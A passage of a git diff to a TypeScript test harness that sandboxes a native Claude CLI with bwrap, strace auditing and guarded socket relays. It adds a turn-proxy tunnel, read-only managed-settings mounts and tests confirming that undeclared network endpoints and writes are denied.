[ROOT,...SYSTEM].some(root=>within(root,path))?"runtime-root":["/home","/root",process.env.HOME].some(root=>root&&root!=="/"&&within(root,path))?"home-outside-fixture":"other-absolute"; return label.replace(/[\u0000-\u001f\u007f]/g,"?"); } @@ -429,6 +444,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c } const directory = mkdtempSync(join(tmpdir(), "odysseus-native-audit-")); const log = join(directory, "connect.log"); + const liveStarts=new Map(); writeFileSync(log, "", { mode: 0o600 }); if (workerUid !== undefined && !auditAcl("set", workerUid, directory, log)) { cleanup(); rmSync(directory, { recursive: true, force: true }); refuse("native audit access isolation is unavailable"); @@ -476,7 +492,17 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c // -o otherwise makes strace ignore SIGTERM; refusal/cancellation must kill // both the tracer and its entire traced sandbox, closing inherited pipes. return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], - dispose() { finish(); }, receipt: finish }; + dispose() { finish(); }, receipt: finish, + liveExecs(){ + if(!storageIntact())throw Error("native fixture RTK audit integrity unavailable"); + const bytes=readFileSync(log);if(bytes.length>8*1024*1024||!storageIntact())throw Error("native fixture RTK audit unavailable"); + const pids=new Map(); + for(const line of bytes.toString("utf8").split("\n")){ + const match=/^\s*([0-9]+)\s+execve\(("(?:\\.|[^"\\])*"),.*\)\s+= 0$/.exec(line); + if(match){let path:string;try{path=JSON.parse(match[2]!);}catch{continue;}if(expected.includes(path)){const pid=Number(match[1]);let start=liveStarts.get(pid);if(!start){try{start=processStart(pid);}catch{continue;}liveStarts.set(pid,start);}pids.set(pid,start);}} + } + return pids; + } }; } /** One Unix socket forwards only to the explicitly selected scripted service. */ @@ -511,6 +537,22 @@ export function startNativeTestRelay(upstream: string | undefined) { return { directory, handle, dispose() { server.stop(true); rmSync(directory, { recursive: true, force: true }); } }; } +export const WORKER_TURN_PROXY="/run/brain-egress/proxy.sock"; +/** Raw fixture tunnel only to the explicitly registered loopback turn proxy. */ +export function startNativeTurnProxyTunnel(origin:string,directory:string){ + const target=new URL(origin),socket=join(directory,"turn-proxy.sock"); + if(target.protocol!=="http:"||target.hostname!=="127.0.0.1"||!target.port)refuse("invalid scripted turn proxy"); + const net=createRequire(import.meta.url)("node:net") as typeof import("node:net"); + const server=net.createServer(peer=>{ + const upstream=net.connect({host:"127.0.0.1",port:Number(target.port)}); + peer.on("error",()=>upstream.destroy());upstream.on("error",()=>peer.destroy()); + peer.on("close",()=>upstream.destroy());upstream.on("close",()=>peer.destroy()); + peer.pipe(upstream);upstream.pipe(peer); + }); + server.listen(socket);const forget=rememberRelay(socket,target.origin,()=>server.listening); + return {socket,dispose(){forget();server.close();}}; +} + function expectedNativeExec(command: string, args: readonly string[], options: SpawnContext): string[] { const native = nativeExecutableCandidates(command, args).filter(value => isNativeClaude(value, [], options)); return [...new Set(native.flatMap(value => [resolve(options.cwd ?? process.cwd(), value), resolveExecutable(value, options)]))]; @@ -534,6 +576,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); const bridge = startNativeTestRelay(route.origin); + const turnProxy=route.turnProxy?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; try { const tools = fixtureToolView(env, cwd, home); command = resolveExecutable(command, options); @@ -546,7 +589,8 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), - ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []),]; + ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []),...nativeFixtureManagedSettingsMounts(bridge.directory), + ...(turnProxy?["--dir","/run/brain-egress","--ro-bind",turnProxy.socket,WORKER_TURN_PROXY]:[]),]; const beforeLaunch = () => assertNativeMountSockets(mounts, route.origin); beforeLaunch(); const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...mounts, "--clearenv"]; @@ -567,19 +611,20 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { for (const key of ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL", "ANTHROPIC_UNIX_SOCKET"]) delete childEnv[key]; } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); - argv.push("--chdir", cwd, "--", ...nativeSocketCommand([command, ...args], inheritedSocket && inheritedOrigin ? inheritedSocket : join(bridge.directory, "relay.sock"), "/tmp/native-relay/relay.sock")); - const audited = auditNativeLaunch(argv, expectedNativeExec(command, args, options), () => { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); + const payload=nativeSocketCommand([command,...args],inheritedSocket&&inheritedOrigin?inheritedSocket:join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",turnProxy?{source:turnProxy.socket,allowed:WORKER_TURN_PROXY}:undefined); + argv.push("--chdir",cwd,"--",...(turnProxy?[process.execPath,"--config=/dev/null","--no-env-file",join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"),...payload]:payload)); + const audited = auditNativeLaunch(argv, expectedNativeExec(command, args, options), () => { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); beforeLaunch(); guardedPlans.add(audited.argv); return { ...audited, env: {}, beforeLaunch }; - } catch (error) { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } + } catch (error) { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } -interface ScriptedAuthority { origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap } +interface ScriptedAuthority { origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; managedSettings?: Uint8Array; turnProxy?: boolean } const scriptedRoute = new AsyncLocalStorage(); /** Test code pins its scripted service before building a restricted turn. */ -export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: readonly string[]; fixtureFiles?: readonly string[] }): () => void { +export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: readonly string[]; fixtureFiles?: readonly string[]; managedSettingsFile?: string; turnProxy?: boolean }): () => void { const previous = scriptedRoute.getStore(); scriptedRoute.enterWith(undefined); let target:URL;try{target=new URL(origin);}catch{refuse("invalid scripted route authority");} @@ -598,12 +643,27 @@ export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: if (!lstatSync(path).isFile()) refuse("fixture file registration requires a regular file"); return [real, new Uint8Array(readFileSync(real))] as const; })) : prior?.fixtureFiles ?? new Map(); - authority = Object.freeze({ origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles }); + let managedSettings:Uint8Array|undefined; + if(fixture?.managedSettingsFile!==undefined){ + const path=resolve(fixture.managedSettingsFile),info=lstatSync(path); + const created=[...createdFixtureRoots].some(([root,stamp])=>{try{const current=lstatSync(root,{bigint:true});return current.dev===stamp.dev&¤t.ino===stamp.ino&&within(root,path);}catch{return false;}}); + if(!info.isFile()||info.nlink!==1||realpathSync(path)!==path||!created)refuse("managed settings require an unlinked fixture-created regular file"); + managedSettings=new Uint8Array(readFileSync(path)); + }else if(!fixture)managedSettings=prior?.managedSettings; + authority = Object.freeze({ origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles,managedSettings,turnProxy:fixture?fixture.turnProxy===true:prior?.turnProxy }); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("fixture registration is unavailable"); } scriptedRoute.enterWith(authority); return () => { if(scriptedRoute.getStore()===authority)scriptedRoute.enterWith(previous); }; } +/** Only explicitly captured fixture bytes enter this fixed managed-settings target. */ +export function nativeFixtureManagedSettingsMounts(directory:string):string[] { + const bytes=scriptedRoute.getStore()?.managedSettings; + if(!bytes)return []; + const file=join(directory,"fixture-managed-settings.json");writeFileSync(file,bytes,{flag:"wx",mode:0o444});chmodSync(file,0o444); + return ["--ro-bind",file,"/etc/claude-code/managed-settings.json"]; +} + /** Keep fixture authority at the SDK's existing spawn hook, across its async work. */ export function nativeScriptedQuery(query: typeof sdkQuery, origin: string): typeof sdkQuery { const captured = scriptedRoute.getStore(); @@ -841,6 +901,39 @@ const guardedChildren = new Map(); const bootstrapDiagnostics=new Map(); export function nativeBootstrapStatus(pid:number){return bootstrapDiagnostics.get(pid);} const fixtureKeepers = new Map(); +interface NativeFixtureRtkSpawn { start:string; launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch; expected:readonly string[]; liveExecs:()=>ReadonlyMap } +const nativeFixtureRtkSpawns=new Map(); +/** Host-only observation; a payload cannot mint an owned spawn or audit handle. */ +export function observeNativeFixtureRtkSpawn(pid:number,launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,expected:readonly string[],liveExecs:()=>ReadonlyMap):void { + const start=guardedChildren.get(pid); + if(!start||processStart(pid)!==start)throw Error("native fixture RTK spawn is unregistered"); + nativeFixtureRtkSpawns.set(pid,{start,launch:structuredClone(launch),expected:[...expected],liveExecs}); + if(nativeFixtureRtkSpawns.size>256)nativeFixtureRtkSpawns.delete(nativeFixtureRtkSpawns.keys().next().value!); +} +/** Re-register only the kernel/audit-proven payload view hidden by our broker. */ +export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker):void { + const record=nativeFixtureRtkSpawns.get(worker.pid); + if(!record)throw Error("native fixture RTK spawn is unregistered"); + if(processStart(worker.pid)!==record.start)throw Error("native fixture RTK root identity changed"); + const owned=new Map(),pending=[worker.pid]; + while(pending.length){ + const pid=pending.pop()!;if(owned.has(pid))continue;if(owned.size>=512)throw Error("native fixture RTK ancestry bound"); + try{owned.set(pid,processStart(pid));const children=readFileSync(`/proc/${pid}/task/${pid}/children`,"utf8").trim();if(children)pending.push(...children.split(/\s+/).map(Number));}catch(error){if(pid===worker.pid)throw error;} + } + const selected:number[]=[]; + for(const [pid,auditedStart] of record.liveExecs()){ + const start=owned.get(pid);if(!start)continue; + if(start!==auditedStart)throw Error("native fixture RTK audited identity changed"); + let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch{throw Error("native fixture RTK executable unavailable");} + if(!record.expected.includes(executable))throw Error("native fixture RTK executable changed"); + if(processStart(pid)!==start)throw Error("native fixture RTK payload identity changed");selected.push(pid); + } + if(selected.length!==1)throw Error("native fixture RTK payload missing or ambiguous"); + if(processStart(worker.pid)!==record.start||processStart(selected[0]!)!==owned.get(selected[0]!))throw Error("native fixture RTK identity changed"); + const {registerWorkerRtk}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-rtk.ts") as typeof import("../packages/ui-sdk/src/server/worker-rtk"); + registerWorkerRtk(worker,selected[0]!,record.launch); +} + function processStart(pid: number): string { return readFileSync(`/proc/${pid}/stat`, "utf8").replace(/^.*\) /s, "").split(" ")[19]!; } /** Keep short named credentials out of test-only diagnostic records. */ export function redactNativeDiagnosticAssignments(text:string):string { @@ -887,7 +980,7 @@ export function recordNativeGuardChild(child: { pid: number; exited: Promise{ nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null}); if(code===0&&!child.signalCode)return; - if(parentTerminatedBootstraps.has(child)||["SIGTERM","SIGKILL","SIGINT",15,9,2].includes(child.signalCode??"")){ + if(["SIGTERM","SIGKILL","SIGINT",15,9,2].includes(child.signalCode??"")){ nativeReceipt({kind:"native-offline-bootstrap-termination",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, reason:parentTerminatedBootstraps.has(child)?"terminated by parent signal":"terminated by signal"});return; } @@ -902,7 +995,7 @@ export function recordNativeGuardChild(child: { pid: number; exited: Promise { if (guardedChildren.get(child.pid) === start) guardedChildren.delete(child.pid); }).catch(() => {}); + void child.exited.finally(() => { if (guardedChildren.get(child.pid) === start) guardedChildren.delete(child.pid);if(nativeFixtureRtkSpawns.get(child.pid)?.start===start)nativeFixtureRtkSpawns.delete(child.pid); }).catch(() => {}); return completion; } /** Fixture-owned output descriptor plus a live, guard-observed namespace; no path exemption. */ @@ -1071,7 +1164,7 @@ function nativeBwrapIndex(argv: readonly string[]): number { } /** Keep only the pinned transport and fixed launcher gates outside the payload filter. */ -export function nativeWorkerPayloadCommand(payload:string[],command:string[],protect:(argv:string[])=>string[]):string[] { +export function nativeWorkerPayloadCommand(payload:string[],command:string[],protect:(argv:string[],trustedWrapper?:boolean)=>string[]):string[] { const same=(value:string|undefined,expected:string)=>{try{return !!value&&realpathSync(value)===realpathSync(expected);}catch{return false;}}; let at=0; if(same(payload[at],"/usr/bin/prlimit")) { @@ -1088,17 +1181,18 @@ export function nativeWorkerPayloadCommand(payload:string[],command:string[],pro if(!same(payload[at],process.execPath)||payload[at+1]!==entry||!same(payload[at+1],entry))return protect(payload); at+=2;if(payload[at]==="--direct-loopback")at++; if(payload.length-at!==command.length||!command.every((value,index)=>payload[at+index]===value))return protect(payload); - return [...payload.slice(0,at),...protect(payload.slice(at))]; + return [...payload.slice(0,at),...protect(payload.slice(at),true)]; } /** Inspect the concrete existing worker bootstrap, including its exec payload. */ -export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void } { +export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; observe?(pid:number):void } { const unchanged = { native: false, env, dispose() {}, beforeLaunch() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { refuse("invalid worker launch metadata"); } if (!launch || !Array.isArray(launch.argv) || !launch.argv.length || !launch.argv.every(value => typeof value === "string") || !Array.isArray(launch.command) || !launch.command.length || !launch.command.every(value => typeof value === "string")) refuse("worker command and argv are required"); + const originalLaunch=structuredClone(launch) as unknown as import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch; const argv = launch.argv; const context = { cwd: launch.brainPath, env: launch.env }; let workerArgv = argv; @@ -1163,14 +1257,15 @@ export function nativeWorkerBoundary(env: Record): { workerArgv.splice(separator, 0, ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), "--ro-bind", bridge.directory, "/tmp/native-relay", - "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", + "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group",...nativeFixtureManagedSettingsMounts(bridge.directory), ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); const keeper=workerKeeper(workerArgv,bwrap); try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory,keeper); } catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; const nativePayload = workerArgv.splice(payloadIndex); - workerArgv.push(...nativeWorkerPayloadCommand(nativePayload,command,argv=>nativeSocketCommand(argv, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET))); + const turnProxy=admittedRelay(workerArgv,WORKER_TURN_PROXY); + workerArgv.push(...nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(argv, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined))); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); const beforeLaunch = () => { try { keeper?.refresh(); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper); assertNativeMountSockets(nativeMounts, route.origin,keeper); } @@ -1207,6 +1302,6 @@ export function nativeWorkerBoundary(env: Record): { nativeReceipt({kind:"native-offline-worker-plan",head:nativeTestHead(), bootstrapArgc:launch.argv!.length,bootstrapArgvBytes:Buffer.byteLength(JSON.stringify(launch.argv)), sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)}); - return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch }; + return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch,observe(pid){observeNativeFixtureRtkSpawn(pid,originalLaunch,expected,audited.liveExecs);} }; } catch (error) { bridge.dispose(); throw error; } } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index ae54626085..4729653eed 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -203,6 +203,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { if (key === "spawn") { const exited=result.exited,evidence=bootstrapDiagnostics?.attach(result); const report=recordNativeGuardChild(result,bootstrap,evidence); + workerBoundary?.observe?.(result.pid); const completed=exited.then(async(code:number)=>{ await evidence?.drained;await report; boundary?.dispose();workerBoundary?.dispose();flushNativeReceipts();return code; diff --git a/tests/docker-bind-stability.test.ts b/tests/docker-bind-stability.test.ts index 29bd90aab2..139286a6d1 100644 --- a/tests/docker-bind-stability.test.ts +++ b/tests/docker-bind-stability.test.ts @@ -8,16 +8,16 @@ import { nativeGuardEnvironment } from "../scripts/native-proof/guard-environmen import { nativeNamespaceEnvironment } from "../scripts/test-native-guard.ts"; test("native containers carry an exact head without promoting local execution to hosted", () => { - const saved = { GITHUB_ACTIONS: process.env.GITHUB_ACTIONS, RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT }; + const saved = { GITHUB_ACTIONS: process.env.GITHUB_ACTIONS, RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT, BRAIN_TEST_DEADLINE_FACTOR: process.env.BRAIN_TEST_DEADLINE_FACTOR }; try { - delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; + delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT;process.env.BRAIN_TEST_DEADLINE_FACTOR="3"; const local = nativeGuardEnvironment(); expect(local).toHaveLength(1); expect(local[0]).toMatch(/^--env=BRAIN_NATIVE_TEST_HEAD=[0-9a-f]{40}$/); - expect(nativeNamespaceEnvironment()).toEqual(["--setenv", "BRAIN_NATIVE_TEST_HEAD", local[0]!.split("=").at(-1)!]); + expect(nativeNamespaceEnvironment()).toEqual(["--setenv", "BRAIN_NATIVE_TEST_HEAD", local[0]!.split("=").at(-1)!, "--setenv", "BRAIN_TEST_DEADLINE_FACTOR", "3"]); process.env.GITHUB_ACTIONS = "true"; process.env.RUNNER_ENVIRONMENT = "github-hosted"; expect(nativeGuardEnvironment()).toEqual([...local, "--env=GITHUB_ACTIONS=true", "--env=RUNNER_ENVIRONMENT=github-hosted"]); - expect(nativeNamespaceEnvironment()).toEqual(["--setenv", "BRAIN_NATIVE_TEST_HEAD", local[0]!.split("=").at(-1)!, + expect(nativeNamespaceEnvironment()).toEqual(["--setenv", "BRAIN_NATIVE_TEST_HEAD", local[0]!.split("=").at(-1)!, "--setenv", "BRAIN_TEST_DEADLINE_FACTOR", "3", "--setenv", "GITHUB_ACTIONS", "true", "--setenv", "RUNNER_ENVIRONMENT", "github-hosted"]); } finally { for (const [key, value] of Object.entries(saved)) { diff --git a/tests/native-audit-cancellation.test.ts b/tests/native-audit-cancellation.test.ts index 03d5a5d744..94a8e54d42 100644 --- a/tests/native-audit-cancellation.test.ts +++ b/tests/native-audit-cancellation.test.ts @@ -30,3 +30,17 @@ for (const signal of ["SIGTERM", "SIGKILL"] as const) test(`native audit ${signa child.kill("SIGKILL"); child.stdin.end(); audit.dispose(); } }, watchdogMs(15000)); + +test("live native audit supplies exact successful exec PIDs without finishing the audit",async()=>{ + const {realpathSync,readFileSync}=await import("node:fs"); + const executable=realpathSync("/usr/bin/python3"); + const audit=auditNativeLaunch([executable,"-I","-S","-c","import os,time;print(os.getpid(),flush=True);time.sleep(30)"],[executable],()=>{}); + const child=Bun.spawn(audit.argv,{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + try{ + const reader=child.stdout.getReader(),ready=await reader.read();reader.releaseLock(); + const pid=Number(new TextDecoder().decode(ready.value).trim()); + const start=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]!; + expect([...audit.liveExecs()],"LIVE_AUDIT_EXACT_PAYLOAD_IDENTITY").toEqual([[pid,start]]); + expect([...audit.liveExecs()],"LIVE_AUDIT_IS_REPEATABLE_BEFORE_FINISH").toEqual([[pid,start]]); + }finally{child.kill();await child.exited;await new Response(child.stderr).text();audit.dispose();} +},watchdogMs(15000)); diff --git a/tests/native-bootstrap-diagnostics.test.ts b/tests/native-bootstrap-diagnostics.test.ts index 31cb0833ef..716a643858 100644 --- a/tests/native-bootstrap-diagnostics.test.ts +++ b/tests/native-bootstrap-diagnostics.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../scripts/test-deadlines"; import { expect, test } from "bun:test"; import { join } from "node:path"; import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; @@ -85,3 +86,22 @@ for(const mode of ["parent","timeout","exit143"] as const)test(`bootstrap termin if(mode==="exit143")expect(records.some(record=>record.kind==="native-offline-bootstrap-failure"),"UNREQUESTED_EXIT143_IS_STILL_FAILURE").toBe(true); else {expect(records.find(record=>record.kind==="native-offline-bootstrap-termination")?.reason,"EXPECTED_TERMINATION_HAS_FIXED_REASON").toBe(mode==="parent"?"terminated by parent signal":"terminated by signal");expect(out).not.toContain("stderr reason unavailable");} }); + +for(const delay of [0,150])test(`cleanup kill after exit 1 preserves the bootstrap failure reason (${delay}ms)`,async()=>{ + const child=spawnGuardFixture([process.execPath,"-e",` + import {recordNativeGuardChild} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; + import {readFileSync} from "node:fs"; + const boot=Bun.spawn(["/bin/sh","-c","echo fixture child failed >&2; exit 1"],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"ignore",stderr:"pipe"}); + let text="";const drained=new Response(boot.stderr).text().then(value=>{text=value;}); + const reported=recordNativeGuardChild(boot,true,{drained,snapshot:()=>text}); + // Observe kernel exit without letting the JS exit callback run before cleanup. + const deadline=Date.now()+${watchdogMs(2000)}; + for(;;){let exited=false;try{exited=/^[^)]+\\) Z /.test(readFileSync("/proc/"+boot.pid+"/stat","utf8"));}catch(error){if(error.code!=="ENOENT")throw error;exited=true;}if(exited)break;if(Date.now()>deadline)throw Error("SYNTHETIC_FAILURE_DID_NOT_EXIT");Bun.sleepSync(1);} + Bun.sleepSync(${delay});boot.kill("SIGTERM");await reported; + `],{env:{PATH:"/usr/bin:/bin"}}); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0); + const record=out.split("\n").filter(line=>line.startsWith('{"kind":"native-offline-bootstrap-failure"')).map(line=>JSON.parse(line))[0]; + expect(record?.exitCode,"CLEANUP_KILL_MUST_NOT_RELABEL_FAILURE").toBe(1); + expect(record?.reason).toContain("fixture child failed"); + expect(out).not.toContain('"kind":"native-offline-bootstrap-termination"'); +}); diff --git a/tests/native-egress-wrapper.test.ts b/tests/native-egress-wrapper.test.ts index 7b3efc3070..550c37c9de 100644 --- a/tests/native-egress-wrapper.test.ts +++ b/tests/native-egress-wrapper.test.ts @@ -40,3 +40,22 @@ test("trusted egress listens while its synthetic payload and descendant cannot c expect(out).toContain("RELAY_LISTENED_PAYLOAD_AND_DESCENDANT_DENIED"); }finally{server.stop();rmSync(root,{recursive:true,force:true});} }); + +test("registered turn proxy stream works while another port or loopback address stays denied",async()=>{ + const {createServer}=await import("node:net"),{once}=await import("node:events"); + const {nativeScriptedService,startNativeTurnProxyTunnel,nativeTurnProxyArguments,WORKER_TURN_PROXY}=await import("../scripts/test-native-guard"); + const root=mkdtempSync(join(tmpdir(),"odysseus-registered-proxy-")); + const recorder=createServer(peer=>{peer.on("error",()=>{});peer.pipe(peer);});recorder.listen(0,"127.0.0.1");await once(recorder,"listening"); + const leave=nativeScriptedService(`http://127.0.0.1:${(recorder.address() as {port:number}).port}`,{fixtureRoots:[root]}); + const tunnel=startNativeTurnProxyTunnel(`http://127.0.0.1:${(recorder.address() as {port:number}).port}`,root); + try{ + const policy=compileSocketPolicy(),info=statSync(tunnel.socket,{bigint:true}); + const code='import socket,errno,os,urllib.parse\np=urllib.parse.urlparse(os.environ["HTTP_PROXY"]).port\nos.environ["HTTP_PROXY"]="http://127.0.0.2:1"\ns=socket.socket();s.connect(("127.0.0.1",p));s.sendall(b"Ithaca");assert s.recv(6)==b"Ithaca";s.close()\nfor host,port in [("127.0.0.1",p%65535+1),("127.0.0.2",p)]:\n s=socket.socket()\n try: s.connect((host,port));raise AssertionError("UNDECLARED_LOOPBACK_ENDPOINT_ALLOWED")\n except OSError as e: assert e.errno==errno.EPERM\n finally: s.close()\nfor op in ["bind","listen"]:\n s=socket.socket()\n try:\n s.bind(("127.0.0.1",0)) if op=="bind" else s.listen(1)\n raise AssertionError("PAYLOAD_LISTEN_ALLOWED")\n except OSError as e: assert e.errno==errno.EPERM\n finally: s.close()\nprint("DECLARED_PROXY_STREAM_ONLY")'; + const payload=["/usr/bin/python3","-I","-S","-c",code]; + const argv=nativeWorkerPayloadCommand([process.execPath,entry,...payload],payload,args=>[policy,"--head",nativeTestHead(),"--socket",tunnel.socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",tunnel.socket,...nativeTurnProxyArguments(tunnel.socket,WORKER_TURN_PROXY),"--",...args]); + const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--unshare-pid","--die-with-parent","--ro-bind","/","/","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",tunnel.socket,WORKER_TURN_PROXY,"--proc","/proc","--dev","/dev","--",...argv],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(exit,"DECLARED_PROXY_STREAM_ONLY "+err).toBe(0);expect(out).toContain("DECLARED_PROXY_STREAM_ONLY"); + const source=require("node:fs").readFileSync(join(import.meta.dir,"../scripts/native-proof/native-connect.c"),"utf8");expect(source).toContain('.flags=0');expect(source).not.toMatch(/\.flags\s*=\s*SECCOMP_USER_NOTIF_FLAG_CONTINUE/); + }finally{tunnel.dispose();leave();recorder.close();rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-managed-settings.test.ts b/tests/native-managed-settings.test.ts new file mode 100644 index 0000000000..c997920554 --- /dev/null +++ b/tests/native-managed-settings.test.ts @@ -0,0 +1,36 @@ +import { expect, test } from "bun:test"; +import { mkdirSync, writeFileSync, readFileSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { nativeFixtureDirectory, nativeFixtureManagedSettingsMounts, nativeScriptedService } from "../scripts/test-native-guard"; +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; +const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); +const json=JSON.stringify({env:{ANTHROPIC_BASE_URL:"https://ithaca.invalid"}}); + +test("managed-custom keyless view retains only exact declared settings bytes read-only",()=>{ + const root=nativeFixtureDirectory("odysseus-managed-settings-"),file=join(root,"managed.json"),stage=join(root,"stage");mkdirSync(stage);writeFileSync(file,json);writeFileSync(join(root,"undeclared.json"),"private fixture file"); + const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],managedSettingsFile:file}); + try { + writeFileSync(file,"{}");const mounts=nativeFixtureManagedSettingsMounts(stage); + const code='import os,json,errno\np="/etc/claude-code/managed-settings.json"\nassert os.path.exists(p),"MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE"\nassert open(p).read()=='+JSON.stringify(json)+'\nassert json.load(open(p))["env"]["ANTHROPIC_BASE_URL"]=="https://ithaca.invalid"\nassert not os.path.exists("/etc/claude-code/undeclared.json")\ntry: open(p,"w")\nexcept OSError as e: assert e.errno==errno.EROFS\nelse: raise AssertionError("settings writable")\nprint("MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE")'; + const 